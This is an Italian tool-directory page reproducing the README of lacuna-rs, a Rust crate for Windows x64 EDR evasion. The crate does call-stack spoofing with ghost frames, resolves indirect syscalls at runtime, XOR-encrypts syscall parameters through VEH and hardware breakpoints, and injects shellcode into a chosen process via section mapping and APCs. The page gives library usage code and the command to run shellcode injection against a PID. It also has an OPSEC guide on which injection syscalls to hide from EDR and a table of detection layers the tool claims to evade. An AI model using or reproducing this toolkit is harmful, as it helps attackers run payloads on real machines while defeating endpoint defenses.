Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
lacuna-rs — Crate Rust per ghost-frame call-stack spoofing, runtime indirect syscalls e APC injection su Windows x64. Fornisce risoluzione SSN, emissione di stub JIT e crittografia dei parametri basata su VEH per evasione di EDR. | Kitploit
Strumenti/GitHubGitHub/karkas66/lacuna-rs
ShellcodePost-ExploitRed TeamingSviluppo PayloadBinary Exploitation
GitHubkarkas66/lacuna-rs

lacuna-rs

Crate Rust per ghost-frame call-stack spoofing, runtime indirect syscalls e APC injection su Windows x64. Fornisce risoluzione SSN, emissione di stub JIT e crittografia dei parametri basata su VEH per evasione di EDR.

Vedi Repository
1811 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

lacuna-rs

Ghost-frame call-stack spoofing + chiamate di sistema indirette runtime per Windows x64 — portato in Rust.

Portato da LACUNA Chain (lacuna_chain.c) di Mohamed Alzhrani (0xmaz).

lacuna-rs è un crate Rust riutilizzabile che fornisce le stesse primitive del C TTP originale, strutturato per poter essere inserito in qualsiasi progetto Rust — come wsyscall-rs o syscalls-rs, ma con risoluzione runtime degli SSN, targeting syscall;ret per funzione e spoofing dello stack con ghost-frame.


Critico: Requisito del Frame Pointer

La funzionalità stack-spoof fallirà silenziosamente se il crate consumatore non è compilato con frame pointer.

Le primitive di stomping dello stack in chain.rs localizzano lo slot dell'indirizzo di ritorno del chiamante tramite assembly inline mov rbp, {x}. Ciò richiede che la catena RBP sia intatta. Rust (e la maggior parte dei compilatori in modalità release) omette i frame pointer di default.

build.rs imposta force-frame-pointers=yes per il codice di questo crate, ma Cargo non può propagare i flag del compilatore ai crate downstream. Devi aggiungere questo al tuo progetto:

root@kitploit:~
# .cargo/config.toml  (nel TUO crate, non in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Senza questo, stomp_plant() leggerà dati spazzatura da RBP e o non farà nulla (caso migliore) o corromperà lo stack (caso peggiore). Il crate non ha modo di rilevare a runtime se i frame pointer sono abilitati — semplicemente non funzionerà.

Se hai bisogno solo delle primitive di scansione, risoluzione SSN o iniezione (senza spoofing dello stack), puoi omettere la funzionalità stack-spoof e questo requisito non si applica.


Cosa fa


Flag delle funzionalità

root@kitploit:~
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }

Quando nessuna funzionalità è abilitata, sono disponibili solo i livelli di scansione/PE/NT.


Avvio rapido

Scansione per regioni ghost

root@kitploit:~
cargo run --example scan

Costruzione + verifica della catena ghost-frame

root@kitploit:~
cargo run --example verify --features stack-spoof

Iniezione di shellcode tramite sezione + APC

Prova di iniezione Esempio di iniezione con implant reale - C2 era offline ma lo shellcode è stato eseguito

root@kitploit:~
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

Aggiungi --verbose per abilitare l'output diagnostico VEH (dump dello stack, stampa dei registri):

root@kitploit:~
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

Algoritmo di punteggio dei thread

Invece di accodare APC a ogni thread nel processo target (cosa che potrebbe causare il crash del processo quando troppi thread vengono allertati simultaneamente), inject_sapc utilizza un algoritmo di punteggio per selezionare i migliori MAX_APC_THREADS (5) candidati:

  • Tempo di ciclo — NtQueryInformationThread(ThreadCycleTime) — indicatore principale di attività
  • Tempo CPU — NtQueryInformationThread(ThreadTimes) — tempo kernel + utente
  • Conteggio sospensione — NtQueryInformationThread(ThreadSuspendCount) — i thread non sospesi ottengono un bonus di +300; i thread sospesi ottengono -150 per ogni conteggio di sospensione
  • Priorità — NtQueryInformationThread(ThreadBasicInformation) — i thread con priorità 8-10 ottengono un bonus di +150; le priorità fuori intervallo ricevono una penalità di -100

I thread completamente inattivi (zero cicli e zero tempo CPU) vengono saltati del tutto. I candidati rimanenti vengono ordinati per punteggio (dal più alto al più basso, con spareggio sui cicli) e troncati ai primi 5.


Utilizzo come libreria

Base: scansione + risoluzione SSN

root@kitploit:~
use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// Scansiona per regioni ghost
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} regioni ghost in ntdll", n);

// Risolvi SSN + syscall;ret per una funzione specifica
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

Emetti uno stub di syscall indiretta per qualsiasi API NT

root@kitploit:~
use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// Risolvi SSN + indirizzo del syscall;ret della funzione
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// Emetti stub JIT: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (o jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret se build_chain è stato chiamato)
let stub = stub::make_stub(ssn, syscall_ret).expect("allocazione stub fallita");

// Cast al tipo di puntatore a funzione corrispondente e chiama
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

Costruisci la catena ghost-frame + registra VEH

root@kitploit:~
// Scansiona ntdll/kernelbase/wow64/win32u per regioni ghost e costruisci
// lo stack falso a sei livelli. Imposta G_GHOST_GADGET in modo che gli stub
// vengano instradati tramite JMP [RBX] in una DLL firmata.
lacuna::chain::build_chain();

// Registra i gestori VEH (crittografia parametri + guardia della catena)
let _veh = lacuna::veh::VehGuard::register().expect("Registrazione VEH fallita");

// Opzionale: abilita la diagnostica verbose a runtime
lacuna::veh::set_verbose(true);

Avvolgi una syscall sensibile con spoofing dello stack + crittografia parametri

root@kitploit:~
use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// Pianta ghost frame (sostituisce gli indirizzi di ritorno con ghost di DLL firmate)
lacuna::chain::stomp_plant();

// Arma DR0 sul syscall;ret -- VEH decritterà XOR i parametri al confine
lacuna::veh::pcrypt_arm(key, syscall_ret, true);

// Chiama tramite lo stub indiretto -- RIP atterra dentro ntdll all'ingresso del kernel
let _status = unsafe { open_proc(/* parametri crittografati XOR */) };

// Disarma sempre prima di qualsiasi chiamata non protetta
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();

OPSEC: Cosa nascondere dietro i ghost frame

Non tutte le chiamate API necessitano del trattamento LACUNA completo. Il principio chiave è: nascondi le chiamate che un EDR correlerebbe come attività di iniezione o post-exploitation.

Devono essere dietro syscall indirette + ghost frame + crittografia parametri

Queste sono le syscall NT "gioiello della corona" che gli EDR hookano e correlano:

Per ciascuna di queste:

  1. Risolvi con nt::resolve(ntdll, b"NtXxx\0")
  2. Emetti uno stub con stub::make_stub(ssn, syscall_ret)
  3. Crittografa XOR i parametri sensibili con veh::pcrypt_arm(key, syscall_ret, true)
  4. Avvolgi la chiamata tra chain::stomp_plant() e chain::stomp_restore()

Possono essere dirette (nessun ghost frame necessario)

Principi chiave

  1. Risolvi qualsiasi syscall NT con nt::resolve(ntdll, b"NtXxx\0") — restituisce (SSN, syscall_ret_VA).
  2. Emetti uno stub JIT con stub::make_stub(ssn, syscall_ret) — restituisce un puntatore a funzione chiamabile.
  3. Cast lo stub al tipo extern "system" fn(...) appropriato tramite core::mem::transmute.
  4. (Solo per chiamate sensibili) Costruisci la catena ghost-frame con chain::build_chain() e chiama chain::stomp_plant() / chain::stomp_restore() intorno alla chiamata.
  5. (Solo per chiamate sensibili) Arma la crittografia dei parametri con veh::pcrypt_arm(key, syscall_ret, true) prima della chiamata, e veh::pcrypt_disarm() dopo.
  6. Disarma sempre il VEH prima di effettuare chiamate non protette — un colpo DR0 casuale su una syscall non armata causerà un crash.
  7. devono essere avvolte in — il crate lo impone, e la diagnostica VEH è limitata da che di default è disabilitata.

Lo stub gestisce automaticamente la sequenza mov r10, rcx / mov eax, SSN / jmp [syscall;ret]. Se un gadget ghost è stato registrato, lo stub instrada tramite JMP [RBX] per reindirizzamento dell'esecuzione a doppio uso + frame ponte senza artefatti.


Copertura della Verifica del Writeup

Tutti i 9 contributi chiave dal writeup di LACUNA Chain sono rappresentati nel codice:

Copertura della superficie di rilevamento


Perché non usare semplicemente syscalls-rs?

syscalls-rs e wsyscall-rs generano una tabella SSN in fase di build basata sul ntdll di una specifica build di Windows. Se la macchina target esegue una build diversa, gli SSN sono errati e le syscall falliscono (o fanno scattare le euristiche dell'EDR).

lacuna-rs risolve gli SSN a runtime leggendo direttamente gli stub di ntdll, e punta all'istruzione syscall;ret della funzione stessa in modo che RIP sia all'interno di ntdll all'ingresso del kernel — sconfiggendo le euristiche "SSN mismatch" e "syscall indiretta da memoria non supportata" dell'EDR.

Inoltre, lacuna-rs fornisce la catena di spoofing dello stack con ghost-frame che syscalls-rs non ha.


Requisiti di build

  • Target: x86_64-pc-windows-msvc (oppure x86_64-pc-windows-gnu)
  • Edizione Rust: 2021
  • Dipendenze: litcrypt2 (offuscamento stringhe in fase di compilazione)

Configurazione frame-pointer (solo per stack-spoof)

La funzionalità stack-spoof richiede frame pointer. build.rs imposta force-frame-pointers=yes automaticamente per questo crate, ma i crate consumatori devono impostarlo anche loro nel loro .cargo/config.toml:

root@kitploit:~
# .cargo/config.toml (nel crate consumatore)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Offuscamento stringhe litcrypt2

Tutti i letterali stringa nel crate e negli esempi sono avvolti in macro lc!(), che li crittografano in fase di compilazione e li decrittografano a runtime. La chiave di crittografia viene letta dalla variabile d'ambiente LITCRYPT_ENCRYPT_KEY; se non impostata, litcrypt2 genera automaticamente una chiave casuale.

Per fissare una chiave per build riproducibili:

root@kitploit:~
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build

Architettura

root@kitploit:~
lacuna-rs/
├── Cargo.toml
├── build.rs              # Imposta force-frame-pointers per stack-spoof
├── src/
│   ├── lib.rs            # Radice del crate + re-export + scan_all() + setup litcrypt2
│   ├── win.rs            # Binding FFI Win32/NT (compatibile no_std)
│   ├── pe.rs             # Analisi sezioni PE + export
│   ├── scan.rs           # Scansione regioni ghost .pdata + gadget
│   ├── nt.rs             # Risoluzione SSN + targeting syscall;ret
│   ├── stub.rs           # Emissione stub syscall indiretta JIT
│   ├── veh.rs            # VEH + crittografia parametri hardware breakpoint
│   ├── chain.rs          # Catena ghost-frame LACUNA + stomp
│   └── inject.rs         # Iniezione APC basata su sezione
├── examples/
│   ├── scan.rs           # lacuna.exe scan
│   ├── verify.rs         # lacuna.exe verify
│   └── inject.rs         # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
    └── config.toml       # force-frame-pointers + target windows-msvc

Crediti

  • Ricerca originale e implementazione C: Mohamed Alzhrani (0xmaz) — LACUNA Chain
  • Tecnica: Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae
  • Logica per trovare il miglior thread APC: Adattato da FrankensteinAPCInjection di S12cybersecurity
  • Offuscamento stringhe: litcrypt2 v0.1.3

Divulgazione completa

Questo progetto è stato attivamente assistito da un Chatbot AI. Ho avuto l'opportunità di testare un modello open source più recente e molto capace (GLM-5.2 di Z.ai (Zhipu AI)) e volevo dargli un compito impegnativo. Lezioni apprese: Funzionava bene se l'umano sapeva come dovevano essere i risultati. Altrimenti... solo porcheria

Licenza

MIT

Scarica lo strumento
PrimitivaFunzione CModulo Rust
Analisi sezioni PE ed exportpe_section(), pe_export()pe
Scansione regione ghost .pdatascan_ghosts(), best_ghost()scan
Scoperta gadget ghost (jmp [rbx])scan_ghost_gadgets()scan
Ricerca gap NOP in win32uwin32u_nop_gap()scan
Ricerca anchor BYOUD-MFfind_mf_target()scan
Risoluzione SSN (Hell's Gate / Halo's Gate)resolve_ssn()nt
Localizzazione syscall;ret per funzionefind_func_syscall()nt
Emissione stub syscall indiretta JITalloc_stub()stub
Reindirizzamento stub tramite gadget ghost(in alloc_stub())stub
Crittografia parametri VEH + hardware breakpointparam_encrypt_veh(), pcrypt_arm()veh
VEH di guardia della catenachain_veh()veh
Costruzione catena LACUNAbuild_chain()chain
Stomp dello stack (BYOUD-RT)stomp_plant(), stomp_restore()chain
Camminatore catena (verifica)lacuna_walk_chain()chain
Iniezione APC basata su sezionedo_inject_sapc()inject
FunzionalitàDescrizioneRichiede frame pointer?
syscalls (default)Risoluzione SSN + emissione stub JITNo
inject (default)Iniezione APC basata su sezione (inject::inject_sapc)No
vehVEH + crittografia parametri hardware breakpointNo
stack-spoofCatena ghost-frame LACUNA + stomp dello stackSì
no-stdModalità no_std (sperimentale)No
ChiamataPerché è sensibile
NtOpenProcessApre un handle a un altro processo — primo passo dell'iniezione
NtCreateSection + NtMapViewOfSection (remoto)Firma di iniezione basata su sezione
NtWriteVirtualMemoryScrittura cross-process — indicatore classico di iniezione
NtCreateThreadExCreazione di thread remoto — primitiva di iniezione a più alto segnale
NtQueueApcThreadIniezione APC — alto segnale
NtProtectVirtualMemoryCambiamenti di permessi RWX — indicatore di staging di shellcode
NtAllocateVirtualMemory (remoto)Allocazione remota — preludio all'iniezione
NtSetInformationThreadNascondere thread (HideFromDebugger) — indicatore di evasione
ChiamataPerché è sicura
NtQueryInformationThreadSolo query, raramente hookata, nessuna scrittura cross-process
NtDelayExecutionSleep — benigna, usata da ogni applicazione
NtCloseChiusura handle — benigna, estremamente comune
GetModuleHandleA / GetProcAddressRisoluzione moduli — non è una syscall, non hookabile dagli hook userland dell'EDR
CreateToolhelp32Snapshot / Thread32First / Thread32NextEnumerazione thread — kernel32, non syscall ntdll
OpenThread / CloseHandleOperazioni standard su handle — kernel32
GetThreadContext / SetThreadContextNecessario per DR0 — kernel32, solo processo proprio
Tutte le stringhe di output
lc!()
set_verbose(true)
#Concetto del WriteupPosizione nel CodiceDescrizione
1BYOUD-Gap (zero modifica di .pdata)chain.rs — costruzione catena ghost frameSfrutta i gap tra le voci RUNTIME_FUNCTION; l'unwinder le tratta come frame foglia (RSP += 8)
2Attacco alla Finestra APC ETW-Tiinject.rs — drenaggio alertabile NtDelayExecutionControlla quando lo snapshot dello stack APC di ETW-Ti viene attivato manipolando lo stato alertabile del thread
3Crittografia dei Parametri in Contesto BYOUDveh.rs — pcrypt_arm(), param_encrypt_veh()Crittografa XOR i parametri della syscall in fase di staging; decrittografa all'interno di un VEH con hardware breakpoint all'istruzione syscall
4Catena di Gap NOP Win32u + Gadget Ghostscan.rs — win32u_nop_gap(), scan_ghost_gadgets()1.242 gap NOP in win32u.dll forniscono frame foglia nella whitelist; gadget ghost JMP [RBX] a ntdll+0xFC47B
5Prossimità Semantica Ghost in kernelbasechain.rs — livello L2_kbase vicino a VirtualProtectGhost di 238 byte che termina al punto di ingresso di VirtualProtect — indistinguibile da un vero sito di ritorno di VP
6BYOUD-MF (Teletrasporto RSP del Machine Frame)chain.rs — struct MachFrame, scan.rs — find_mf_target()Sfrutta UWOP_PUSH_MACHFRAME (opcode 10) nei dispatcher KiUser* per teletrasporto arbitrario di RSP in un singolo frame
7BYOUD-RT (Calcolo Runtime di RSP)chain.rs — teb_stack_base(), teb_stack_limit()Legge TEB.StackBase (GS:[0x08]) al momento della chiamata per calcolare esattamente la distanza del frame — nessuna pre-calibrazione necessaria
8Prossimità Ghost in wow64.dllchain.rs — livello L1_wow64, scan.rs — target Wow64PrepareForExceptionGhost di 91 byte che termina all'ingresso di Wow64PrepareForException — quarto livello semantico per la catena
9Catena LACUNA a Sei Livellichain.rs — struct LacunaStack (L1-L5 + MachFrame)Catena completa: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart
Livello di rilevamentoStatoImplementazione
Controllo modulo di origineELUSOTutti i frame in ntdll / kernelbase / wow64 / win32u
Correttezza della camminata unwindELUSOTutti i frame lacuna sono foglia -> RSP+8 valido
Scansione forense .pdataELUSOZero modifiche; i gap sono preesistenti
Shadow stack CETELUSOCatena puramente foglia; shadow stack non consultato
Analisi semantica dei frameELUSOAdiacenza eccezione WoW64 + VirtualProtect
Esonero delle regole Win32uELUSOLivello 4 esplicitamente escluso da tutte le regole
ETW-Ti STACKWALKELUSOL'attacco alla finestra APC controlla la tempistica dello snapshot
Ispezione dei parametriELUSODecrittografia VEH con breakpoint hardware
Callback kernelPARZIALELe operazioni sugli handle attivano ancora ObRegisterCallbacks